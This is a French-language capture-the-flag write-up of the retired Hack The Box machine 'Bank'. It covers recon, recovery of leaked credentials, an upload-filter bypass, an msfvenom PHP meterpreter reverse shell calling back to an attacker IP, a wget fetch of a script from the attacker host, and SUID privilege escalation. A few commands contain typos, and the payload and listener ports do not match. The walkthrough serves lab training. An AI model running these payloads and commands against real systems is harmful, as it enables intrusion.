Article original : Keep Calm and Hack The Box - Bank

Hack The Box (HTB) est une plateforme en ligne vous permettant de tester vos compétences en tests d'intrusion. Elle contient plusieurs défis qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent plus vers un style de défi CTF.

Note. Seuls les write-ups des machines HTB retirées sont autorisés.

Image

Bank est une machine relativement simple, cependant une énumération web appropriée est essentielle pour trouver les données nécessaires à l'entrée.

Nous utiliserons les outils suivants pour pirater la box sur une Kali Linux box :

  • nmap
  • gobuster
  • Searchsploit
  • msfconsole
  • metasploit
  • meterperter
  • LinEnum

Commençons.

Étape 1 - Reconnaissance

La première étape avant d'exploiter une machine est de faire un peu de scanning et de reconnaissance.

C'est l'une des parties les plus importantes car elle déterminera ce que vous pouvez essayer d'exploiter par la suite. Il est toujours préférable de passer plus de temps sur cette phase pour obtenir autant d'informations que possible.

Scan des ports

J'utiliserai Nmap (Network Mapper). Nmap est un utilitaire gratuit et open source pour la découverte de réseau et l'audit de sécurité. Il utilise des paquets IP bruts pour déterminer quels hôtes sont disponibles sur le réseau, quels services ces hôtes offrent, quels systèmes d'exploitation ils exécutent, quel type de filtres de paquets/pare-feu sont utilisés, et des dizaines d'autres caractéristiques.

Il existe de nombreuses commandes que vous pouvez utiliser avec cet outil pour scanner le réseau. Si vous souhaitez en savoir plus, vous pouvez consulter la documentation ici.

Image

J'utilise la commande suivante pour effectuer un scan intensif :

nmap -A -v bank.htb

-A : Active la détection du système d'exploitation, la détection de version, le scan de scripts et le traceroute

-v : Augmente le niveau de verbosité

bank.htb : nom d'hôte pour la box Bank

Si vous trouvez les résultats un peu trop écrasants, vous pouvez faire une autre commande pour obtenir uniquement les ports ouverts.

nmap bank.htb

Image

Nous pouvons voir qu'il y a 3 ports ouverts :

Port 22, Secure Shell (SSH), connexions sécurisées, transferts de fichiers (scp, sftp) et redirection de port

Port 53, Domain Name System (DNS)

Port 80, le plus souvent utilisé par le protocole Hypertext Transfer Protocol (HTTP)

Scan des répertoires

J'utilise Gobuster. Gobuster est un scanner de répertoires écrit en Go. Plus d'informations sur l'outil ici. Gobuster utilise des listes de mots sur Kali qui se trouvent dans le répertoire /usr/share/wordlists. J'utilise des listes de mots de dirb et dirbuster, mais vous pouvez télécharger plus de listes de mots depuis SecLists ici

J'utilise cette commande pour la liste de mots common.txt de dirb

gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt

Image

Je peux voir quelques dossiers intéressants. Je fais un autre scan de répertoire avec une liste de mots différente.

gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Image

Étape 2 - Visite de la page web

À partir de la phase de reconnaissance, je décide de commencer par le port 80. Il pointe vers une page par défaut Apache2 Ubuntu. Nous devons définir le nom d'hôte. Nous suivrons la convention standard pour les machines HTB, bank.htb

Image

J'ajoute bank dans le fichier /etc/hosts

nano /etc/hosts

avec

10.10.10.29     bank.htb

Image

Je vérifie le fichier avec

cat /etc/hosts

Image

Lorsque je navigue vers bank.htb, je peux voir une page de connexion maintenant

Image

À partir de la reconnaissance gobuster, j'ai trouvé quelques dossiers. Je navigue vers /balance-transfer

Image

Je regarde quelques fichiers. Tous les fichiers semblent avoir le nom complet, l'email et le mot de passe chiffrés.

Image

Je retourne à la page principale et je clique sur l'onglet Size pour trier les transferts. Je peux voir qu'un des fichiers est différent

Image

Lorsque je clique sur le fichier, je vois un message d'erreur en haut. Le chiffrement a échoué pour ce fichier. Je peux voir tous les détails en texte clair

Image

Je retourne au panneau de connexion et entre les identifiants. J'ai maintenant accès au tableau de bord de la HTB Bank. Rien d'intéressant sur cette page, alors je passe à la page Support

Image

Sur la page Support, je peux télécharger des fichiers. Je vais essayer de télécharger une charge utile

Image

Étape 3 - Utilisation de MSFvenom pour créer un exploit

Nous utiliserons MSFvenom, qui est un générateur de charge utile. Vous pouvez en savoir plus à ce sujet ici

Image

Mais d'abord, voyons sur Metasploit Framework quelle charge utile nous pourrions utiliser pour créer notre exploit

Nous savons que nous devons créer un reverse shell, qui est un type de shell dans lequel la machine cible communique avec la machine attaquante. La machine attaquante a un port d'écoute sur lequel elle reçoit la connexion, ce qui permet d'exécuter du code ou des commandes.

Image https://resources.infosecinstitute.com/icmp-reverse-shell/

Le reverse TCP shell devrait être pour PHP et nous utiliserons Meterpreter

D'après le site web d'Offensive Security, nous obtenons cette définition pour Meterpreter

Meterpreter est une charge utile avancée, dynamiquement extensible qui utilise des injecteurs de DLL in-memory et est étendue sur le réseau au moment de l'exécution. Il communique via la socket de l'injecteur et fournit une API Ruby complète côté client. Il dispose d'un historique des commandes, d'une complétion par tabulation, de canaux, et plus encore.

Vous pouvez lire plus sur Meterpreter ici

Image

Je lance Metasploit et recherche des charges utiles reverse TCP. J'utilise la commande suivante

search php meterpreter reverse_tcp

Je trouve une charge utile intéressante, numéro 594, qui est un Reverse TCP Stager. Cette charge utile injecte la DLL du serveur meterpreter via la charge utile Reflective Dll Injection et se connecte à l'attaquant

payload/php/meterpreter/reverse_tcp

Maintenant, retournons à msfvenom pour créer notre exploit

Image

J'utilise la commande suivante

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw > HTBbankshell.php

Je vérifie ensuite avec ls si le fichier a été créé

Image

et je regarde le contenu du fichier avec

cat HTBbankshell.php

Image

Je retourne à la page de support. J'ajoute le titre, le message et télécharge le fichier sur le formulaire

Image

Je clique sur le bouton de soumission et je vois un message d'erreur. Le type de fichier ne semble pas fonctionner

Image

Je vérifie le code source et je vois un commentaire qui indique que l'extension de fichier .htb est nécessaire pour exécuter php à des fins de débogage uniquement

Image

Je change ensuite l'extension de ma charge utile de HTBbankshell.php à HTBbankshell.htb

Image

Mon fichier est maintenant prêt à être téléchargé sur la page de support

Image

Et cela semble fonctionner ! La charge utile a été téléchargée sur la page de support

Image

Étape 4 - Configuration d'un écouteur avec Metasploit

De retour sur Metasploit où j'utilise la commande suivante pour définir le gestionnaire de charge utile

use exploit/multi/handler

Je configure d'abord la charge utile

set payload php/meterpreter/reverse_tcp

Ensuite le LHOST

set lhost 10.10.14.36

Et enfin le LPORT

set lport 4444

Si nous vérifions les options maintenant, nous devrions voir que tout est configuré

Image

Lançons l'exploit.

Après l'apparition de ce message

Started reverse TCP handler on 10.10.14.36:4444

retournez au navigateur et actualisez la page où le script malveillant est hébergé

bank.htb/uploads/HTBbankshell.php

Image

Vous devriez alors voir une session Meterpreter créée

Image

Je commence par recueillir quelques informations avec getuid qui retourne l'ID utilisateur réel du processus appelant et sysinfo

Image

Étape 5 - Recherche du flag user.txt

Je commence à naviguer vers root et liste les dossiers/fichiers.

Image

Je me déplace vers le répertoire home avec

cd home

Et je peux voir un utilisateur appelé chris

Image

Je me déplace vers le répertoire chris et lorsque je liste les fichiers...

Image

Je trouve le fichier user.txt ! Pour lire le contenu du fichier, j'utilise la commande

cat user.txt

Maintenant que nous avons le flag utilisateur, trouvons le flag root !

Étape 6 - Élévation de privilèges

J'essaie de naviguer vers le dossier root et l'accès est refusé

Image

J'utiliserai LinEnum pour énumérer plus d'informations sur cette machine. LinEnum est utilisé pour l'énumération locale scriptée de Linux et les vérifications d'élévation de privilèges. Plus d'informations ici

Je récupère LinEnum depuis GitHub avec

wget https://https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Image

Je vérifie avec cette commande si le script a été correctement récupéré

ls -la

Image

J'utilise la commande suivante

chmod 777 LinEnum.sh

pour changer les permissions du fichier et le rendre lisible, inscriptible et exécutable par tout le monde

Image

Dans meterpreter, je vérifie l'emplacement du fichier avec

lls -S "LinEnum.sh"

Image

Je lance un serveur php sur un autre terminal avec

php -S 10.10.14.36:4444

Image

Je tape la commande suivante pour obtenir un shell standard sur le système cible

shell

Je génère un shell TTY avec

python3 -c 'import pty;pty.spawn("/bin/bash/")'

Et je transfère le fichier vers la machine avec

wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh

où je copie le fichier depuis ma boîte Kali vers le dossier temp de la machine

Image

Je navigue ensuite vers le dossier temp pour vérifier si le fichier a été correctement déplacé

Image

J'exécute ensuite le script avec

sh ./LinEnum.sh

Image

Le scan me donne beaucoup d'informations. Je cherche la section fichiers intéressants. Je vérifie la section fichiers SUID. SUID est défini comme donnant des permissions temporaires à un utilisateur pour exécuter un programme/fichier avec les permissions du propriétaire du fichier plutôt que de l'utilisateur qui l'exécute

Je repère un fichier intéressant

/var/htb/bin/emergency

Image

Je navigue vers var/htb/emergency

Image

Je l'exécute avec

./emergency

et on me demande si je veux obtenir un shell root :)

Image

J'ai un accès root à la machine

Image

Je peux maintenant naviguer vers le dossier root

Image

Je trouve le fichier root.txt !

Pour lire le contenu du fichier, j'utilise la commande

cat root.txt

Félicitations ! Vous avez trouvé les deux flags !


N'hésitez pas à commenter, poser des questions ou partager avec vos amis :)

Vous pouvez voir plus de mes articles ici

Vous pouvez me suivre sur Twitter ou sur LinkedIn

Et n'oubliez pas de #GetSecure, #BeSecure & #StaySecure !


Autres articles Hack The Box

Image